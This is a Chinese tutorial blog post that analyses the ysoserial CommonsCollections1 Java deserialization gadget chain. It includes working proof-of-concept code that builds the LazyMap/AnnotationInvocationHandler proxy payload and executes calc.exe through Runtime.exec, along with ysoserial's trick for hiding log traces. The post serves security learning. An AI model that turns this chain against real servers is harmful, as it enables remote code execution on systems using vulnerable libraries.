yso之CC1链

2023-11-09 10:30
文章标签 cc1 yso

本文主要是介绍yso之CC1链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

环境

  • 因为java 8u71之后已修复不可利用,所以安装了jdk7u80

  • Apache-Common-Collections-3.1

反射知识

CC链不像URLDNS简单,需要利用到反射机制

Java反射机制:是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象,调用方法的一种机制。

我们可以通过反射命令执行的简单例子来进行理解

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {Class c1 = Class.forName("java.lang.Runtime");c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1), "calc.exe");}

这是能成功打开计算器的代码

image-20220110145920930

我们可以将它拆解为正常的反射流程

1.首先获取Class类对象,这里使用的是Class类中的静态方法forName

  • 还有常见的其他两种方法,这里不细讲
    • 使用类的calss属性来获取该类对于的class对象。
    • 用对象的getClass()方法,返回该对象所属类对应的Class对象
public static void main(String[] args) throws ClassNotFoundException{Class c1 = Class.forName("java.lang.Runtime");}

2.然后在Class类中用getConstructor获取构造方法,然后通过newInstance获取对象

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {Class c1 = Class.forName("java.lang.Runtime");Constructor con1 = c1.getConstructor();Object o1 = con1.newInstance();}

到这一步就已经出现问题

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vatlf4lv-1643030725723)(http://image.liangyueliangyue.top//img202201242125349.png)]

写一个Runtime步进,Runtime的构造方法为私有的

image-20220110151021466

getConstructor()方法只能获取所有公共构造方法对象的数组

这时候我们可以通过getDeclaredConstructor()方法来获取类的私有构造方法

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {Class c1 = Class.forName("java.lang.Runtime");Constructor con1 = c1.getDeclaredConstructor();Object o1 = con1.newInstance();}

但是能够获取到并不意味能够通过私有方法创建对象

image-20220110151759246

这里需要用到java的暴力反射

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {Class c1 = Class.forName("java.lang.Runtime");Constructor con1 = c1.getDeclaredConstructor();con1.setAccessible(true);Object o1 = con1.newInstance();}

image-20220110152000677

通过setAccessible设置值为ture来取消访问检查

成功执行后继续通过getMethod()获取对象的存在方法

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {Class c1 = Class.forName("java.lang.Runtime");Constructor con1 = c1.getDeclaredConstructor();con1.setAccessible(true);Object o1 = con1.newInstance();Method m1 = c1.getMethod("exec", String.class);}

invoke调用obj对象的成员方法

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {Class c1 = Class.forName("java.lang.Runtime");Constructor con1 = c1.getDeclaredConstructor();con1.setAccessible(true);Object o1 = con1.newInstance();Method m1 = c1.getMethod("exec", String.class);m1.invoke(o1,"calc.exe");}

成功弹出计算器,但是在高版本(>=jdk11)虽然能够执行但是会给出warning

image-20220110153142093

最回到例子来,可以看出它根本没有调用过newInstance函数,那么它invoke的对象是怎么生成的?

c1.getMethod("getRuntime").invoke(c1)

Runtime类可以通过 getRuntime() 来获取到 Runtime 对象,而invoke 的作用是执行方法

但是它有不同的用法

  • 如果这个方法是普通方法,那么第一个参数是类对象
  • 如果这个方法是静态方法,那么第一个参数是类或者用null代替

而getRuntime() 是静态方法,所以它的参数是一个类(或是null)而不是类对象,所以不需要去生成类对象来进行调用

image-20220110154933822

反射机制讲究的就是动态性,由于这种动态性,可以极大的增强程序的灵活性,程序不用在编译期就完成确定,在运行期仍然可以扩展。但也正因为如此才会被广泛的利用。

CC-POC复现

先用idea创建maven项目

导入cc依赖

   <dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency></dependencies>

然后新建Poc.java

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class Poc {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发漏洞Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式onlyElement.setValue("foobar");}
}

直接运行弹出计算器

image-20220102111819303

CC-POC解析

布局

//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};

开始构建了一个Transformer的数组,而Transformer是一个接口,所以transformers是一个接口数组

数组的内容是通过实现了Transformer接口的类来创建的对象

首先看ConstantTransformer

image-20220110160557843

使用构造方法传入参数(Runtime类对象)

再来看InvokerTransformer类,从注释中就能知道这个类是拿来生成新对象的

/*** Transformer implementation that creates a new object instance by reflection.* * @since Commons Collections 3.0* @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $** @author Stephen Colebourne*/

三个调用了同样的构造方法

image-20220110161900636

iMethodName、iParamTypes、iArgs来自于构造方法

第一个参数是方法名,第二个参数是参数类型,第三个是参数值,将参数提取一下

"getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }
"invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }
"exec", new Class[] {String.class }, new Object[] {"calc.exe"}

再来看下面的

Transformer transformerChain = new ChainedTransformer(transformers);

创建了ChainedTransformer,传入参数为接口数组

image-20220110162228001

构造函数也是将接口数组赋值给iTransformers变量

创建HashMap并传入一个键值对

Map innerMap = new HashMap();
innerMap.put("value", "value");

再看下面

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

通过TransformedMap类的decorate方法得到了一个TransformedMap对象outerMap

分析一下TransformedMap

image-20220111121753511

存在构造方法但是是protected保护的,所以需要通过decorate提供一个实例化对象。

keyTransformer传值为null,valueTransformer为transformerChain对象

然后通过一系列方法获取到outerMap的第一个键值对并转换成Map.Entry形式赋值给onlyElement

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

然后就到了关键的漏洞触发点,打上断点开始调试

image-20220113131707777

①步入调用了parent的checkSetValue方法

image-20220113132515831

②而这里因为onlyElement是outerMap(TransformedMap对象)entrySet获得的,所以parent是TransformedMap,从而调用了TransformedMap类中的checkSetValue方法

image-20220113133239153

③checkSetValue又调用了valueTransformer类中的transform方法,参数为新设置的value值对象

那么这个valueTransformer是什么类?

crtl点击发现是一个常量

image-20220113133939017

那么肯定是构造时就定义好的,找到构造方法确认参数为第三个

image-20220113134130957

而我们又是通过decorate方法调用构造方法

image-20220113134236600

POC中调用decorate时传入的第三个值正是transformerChain对象(由ChainedTransformer得到)

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

所以这里调用的是ChainedTransformer类中的transform方法,再步入

image-20220113134513750

④用for循环遍历了iTransformers,将里面的对象都调用transform方法依次返回

iTransformers值在上面对象的创建时就已经知道是接口数组

image-20220113135033315

⑤再步入,首先调用的是ConstantTransformer类的transform方法

image-20220113135151118

在上面创建时也讲到了,直接是我们提供的Runtime.class(类名)

⑥步入到下一次循环

image-20220113135700611

这时候object已经通过ConstantTransformer类的transform方法变成了我们提供的Runtime类

然后再三次调用InvokerTransformer类的transform方法,这个方法中会尝试反射

通过getClass()获取类,getMethod()获取方法,invoke反射调用方法(这些都在前面基础讲过)

这里的iMethodName,iParamTypes,iArgs全部在创建时定义(可控

第一次反射

"getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }

此时的input为Runtime类对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S7UC2b4E-1643030725743)(http://image.liangyueliangyue.top//img202201242125370.png)]

调用input.getClass() => Runtime.class.getClass()得到了java.lang.Class类,获取我们传入的getMethod方法

调用了Runtime对象中getMethod的方法,参数为"getRuntime", new Class[0]

那么最终返回的就是Runtime类中的getRuntime方法了

第二次反射

"invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }

此时的input为getRuntime方法对象

image-20220113150713938

调用input.getClass() 得到了java.lang.reflect.Method类,获取我们传入的invoke方法

调用了getRuntime方法对象中invoke的方法,参数为null, new Object[0]

那么最终返回的就是getRuntime方法对象执行invoke参数为null

上面讲到过当invoke调用静态方法时需要令第一个参数为类或者null,所以这里只是为了调用静态方法getRuntime

那么最终返回的就是Runtime对象了

第三次反射

"exec", new Class[] {String.class }, new Object[] {"calc.exe"}

此时的input为Runtime对象

image-20220113155051356

调用input.getClass() 得到了java.lang.Runtime类,获取我们传入的exec方法

调用了Runtime对象中exec的方法,参数为calc.exe,成功弹出计算器

image-20220113155335542

到这里就完成了这个POC的分析

疑问

为什么不直接利用反射命令执行,而是构造一个transformers 数组通过Runtime.class去不断反射执行

因为Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用就会报错。

Runtime.class是属于java.lang.Classjava.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

利用链

最后的调用栈简化

Map.Entry->setValue()

TransformedMap->checkSetValue()

ChainedTransformer->transform()

InvokerTransformer->transform()

yso的CC1分析

在实际运用中需要将代码转换为序列化流然后再让服务器成功readObject读取我们序列化的流文件完成反序列化最终命令执行。

所以根据yso的CC1链去学习实际运用的特殊情况以及利用方法

首先是利用链和环境需求

/*Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections*/

可以看到后面的利用是一样的,只是前面多了很多步,反着推

首先看LazyMap类的get方法,这里他取代了TransformedMap,那么它肯定有办法去调用指定类的transform方法

image-20220113202825445

来到get函数,首先判断是否该Map是否已经存在key,没有的话就调用factory.transform()进行处理

而factory又是常量,那么肯定在构造函数中定义

image-20220113203051781

而构造函数是protected,提供了decorate方法来创建对象

image-20220113203526294

这里第二个decorate方法是符合我们的要求的(factory是实现Transformer接口的类)

那么万事俱备只欠东风,我们要去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法。

sun.reflect.annotation.AnnotationInvocationHandlerinvoke()方法满足条件

image-20220113220125138

invoke()中,判断var2方法的形参个数为0且var2的方法名(var=var2.getName())不为toString,hashCode或者annotationType则会触发this.memberValues.get()

在找到this.memberValues的赋值点

image-20220113220935389

构造方法中的var2构造为LazyMap即可触发漏洞,那么接下来找谁能够调用触发AnnotationInvocationHandler.invoke()

也就是入口处的AnnotationInvocationHandler类的重写后的readObject

image-20220113224819820

readObject中调用了this.memberValues的entrySet方法。跟invoke方法有什么关系?

这里用到了java的动态代理知识点

简单的说就是执行代理对象任何方法都会先触发代理对象对应handler的invoke方法。

如果这里的memberValues是个代理对象,那么就会调用memberValues对应handler的invoke方法

所以我们设置一个代理对象,然后将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。

动态代理执行invoke

①在调用readObject反序列化处理时,会触发AnnotationInvocationHandler重写后的readObject方法

②然后调用了this.memberValues.entrySet,而this.memberValues是之前构造好的代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法。

③而这个代理对象设置的handler为这个InvocationHandler这个类产生的对象,接着会调用他的invoke方法

④InvocationHandler的invoke方法中调用了this.memberValues#get,此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get

然后就是之前分析的调用链,就这样自己本地实现一下简单的序列化反序列化

本地实现

public static void main(String[] args) throws Exception {//布局Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc.exe"}})};//利用ChainedTransformer链接ChainedTransformer TransformerChain = new ChainedTransformer(transformers);//LazyMap中get存在transform入口Map hashMap = new HashMap();Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);//因为sun.reflect.annotation.AnnotationInvocationHandler的构造方法不是public, 要通过反射构造出来。//赋值this.memberValues为lazyMap(也就是代理对象为lazyMap),且var1满足条件才能触发触发this.memberValues.get()Constructor con1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);con1.setAccessible(true);InvocationHandler ih = (InvocationHandler) con1.newInstance(Override.class, lazyMap);//最后一步就是创建动态代理,传入InvocationHandler,反序列化时会调用memberValues的entrySet方法,会首先触发InvocationHandler的invoke方法Object proxy = Proxy.newProxyInstance(ih.getClass().getClassLoader(), new Class[]{Map.class}, ih);Constructor con2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);con2.setAccessible(true);Object ih2 = con2.newInstance(Override.class, proxy);//序列化和反序列化ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));oos.writeObject(ih2);oos.flush();oos.close();FileInputStream fis = new FileInputStream("exp");ObjectInputStream ois = new ObjectInputStream(fis);// readObject触发Object newObj = ois.readObject();ois.close();}

还有一个点没有说,就是var1满足的条件

来到AnnotationInvocationHandler类的构造方法,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。

image-20220114141352717

存在if判断,不满足不会赋值且报错

isAnnotation()方法用于检查此Class对象是否表示注释类型。

getInterfaces().length==1 => 只实现了一个接口

getInterfaces()[0]==Annotation.class => 实现Annotation接口

因为继承了Annotation所以后面两个自然满足,只需要找到java自带的注解类即可

  • Deprecated.class

  • Override.class

  • SuppressWarnings.class

yso动态代理处理

yso利用了Gadgets类来处理动态代理

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

原理是一样的,步入createMemoitizedProxy

   public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);}

在createMemoitizedProxy方法中又调用了createMemoizedInvocationHandler(map)

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);}

ANN_INV_HANDLER_CLASS常量

image-20220114143503218

所以和自己构造是一样的①和②等价

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);Constructor con1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);con1.setAccessible(true);InvocationHandler ih = (InvocationHandler) con1.newInstance(Override.class, lazyMap);//最后一步就是创建动态代理,传入InvocationHandler,反序列化时会调用memberValues的entrySet方法,会首先触发InvocationHandler的invoke方法Object proxy = Proxy.newProxyInstance(ih.getClass().getClassLoader(), new Class[]{Map.class}, ih);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Constructor con2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);con2.setAccessible(true);Object ih2 = con2.newInstance(Override.class, proxy);

yso的其他操作

非预期命令执行

在调试自己构造的Poc时可能会遇到弹出两次计算器或者超前弹出了计算器

这是因为Idea在调试模式下会调用对象的toString方法,而我们构造了动态代理,但调用了代理对象的toString方法就会调用handler的invoke方法导致非预期的命令执行。

我们可以手动关闭调试时的调用,去掉红色框内的选项

image-20220114163427240

而在yso中,为了解决这个问题,它在开始创建transformerChain常量时并没有放入执行代码

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });

在动态代理套娃完成后,才将代码赋值给iTransformers常量,然后直接返回对象去序列化,就不会有非预期的命令执行了

隐藏日志特征

yso的transformers接口数组定义时,多在末尾创建了一个ConstantTransformer对象。

因为在命令执行时会返回异常信息,但是存在这个ConstantTransformer对象时的异常信息是不同的

少对象时

image-20220114164447113

多对象时

image-20220114164415476

所以判断可能是为了隐藏日志特征

版本限制

CC1在8u71后不能使用,我们对比下新老版本,分析一下原因

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

基于TransformedMap

第50-51行删除setValue的调用(这是一种黑名单的方式)

基于LazyMap

40-41行memberValues.entrySet()变为streamVals.entrySet()

image-20220114161033478

21行streamVals 通过s.readField获得

image-20220114161039655

15行删去了s.defaultReadObject

image-20220114161200976

这里得到的streamVals和通过和s.defaultReadObject得到的对象有什么不同呢?

其实和这个并没关系,只是改变后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象

因为最后的poc是两个AnnotationInvocationHandler的套娃,外面的AnnotaationInvocationHandler(直接readObject的)它获得的streamVals确实还是一个代理对象,调用streamVals上面的方法确实会进入到invoke,最后也确确实实会调用到里层的AnnotationInvocationHandler.invoke()this.memberValues.get()

但是,后续对Map的操作都是基于这个新的LinkedHashMap对象,也就是里层的Ann...HandlermemberValues已经不是LazyMap了,而是LinkedHashMap

漏洞原理

在回过头来看漏洞原理

这条链最终是利用org.apache.commons.collections.functors.InvokerTransformer 其中的 transform()方法中的反射机制来调用java.lang.Runtimeexec()进行命令执行

还有一个关键点在于Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用就会报错。而Runtime.class是属于java.lang.Class,java.lang.Class实现了Serializable接⼝所以可以被序列化。而ChainedTransformer中的transform方法实现了Transformer接口的类数组的遍历,依次调用其中的transform方法传递给下一个元素,成为了关键的串连线,非常巧妙。

然后不管是基于TransformedMap还是LazyMap实现的Poc,都只是因为AnnotaationInvocationHandler方法重写了readObject,然后一步步走到了transform方法的执行

后记

作为一个刚开始学java安全的新人,网络上CC链的相关分析实在是很多。但大都不是很基础,会看的一头雾水,所以不如静下心来尝试自己先找一些Demo开始一点点的分析,遇到问题要先自己思考,等到思考过后再去寻求答案才是正确的选择。最后,小白入门,如果有错误希望师傅能够及时指出。

参考资料

P牛-Java安全漫谈

https://last-las.github.io/2020/11/05/yso-CommonsCollections/

https://www.cnblogs.com/9eek/p/15050035.html

https://paper.seebug.org/1242/#commons-collections

这篇关于yso之CC1链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/375566

相关文章

cc1.exe: sorry, unimplemented: 64-bit mode not compiled in

使用go语言处理ethereum项目,在windows环境下执行测试程序时,报错 # runtime/cgo cc1.exe: sorry, unimplemented: 64-bit mode not compiled in FAIL command-line-arguments [build failed] FAIL 分析错误日志,显示64位模式不支持。那么在windows上安装的

【Java反序列化】CommonsCollections-CC1链分析

前言 好几天没发博文了,偷偷憋了个大的——CC1链分析,手撸了一遍代码。虽然说,这个链很老了,但还是花费了我一段时间去消化吸收,那么接下来,我会简洁的介绍下整个链的利用过程,还有哪些不理解的地方,xdm可以评论区一起讨论学习一下。 环境准备 Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等

[Java安全入门]三.CC1链

1.前言 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。 2.环境 jdk-8u65 Commons Collections3.2.1 3.分析

java代码审计之CC1链(一)

前言 Apache Commons  Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。 commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commo

Apache Commons Collection3.2.1反序列化分析(CC1)

Commons Collections简介 Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

cc1-7分析

urldns yso里面最简单的一条链子,看下调用栈: poc: import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Ser implements Serializable {public static void ser(Obj

Java反序列化漏洞-CC1利用链分析

文章目录 一、前置知识1. 反射2. Commons Collections是什么3. 环境准备 二、分析利用链1. Transformer2. InvokeTransformer执行命令 3. ConstantTransformer4. ChainedTransformer执行命令 5. TransformedMap6. AbstractInputCheckedMapDecorator7.

linux 安装nginx cc1: all warnings being treated as errors解决办法

进入nginx文件夹下的objs里面有个Makefile vim Makefile进去编辑看到 将CFLAGS = -pipe -O -W -Wall -Wpointer-arith -Wno-unused -Werror -g后的 -Werror -g 去掉 变成CFLAGS = -pipe -O -W -Wall -Wpointer-arith -Wno-unused保存

yso gadget分析(1)

前言: https://www.yuque.com/yq1ng/java/gg8kxx URLDNS 从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。 ysoserial payload生成命令:java -jar y

Yso-JRMPListener模块学习

JRMP 服务端 ysoserial 中的 exploit/JRMPListener 会在指定端口开启一个 JRMP Server,其实现了对任意 RMI Client 的应答请求,会向任何连接其的客户端发送反序列化 payload。 注意:区别这里的 JRMP Client 指的是发起 JRMP 请求的一方(下文以 Client 或者 客户端 称呼),既可能是 RMI Server,也可能是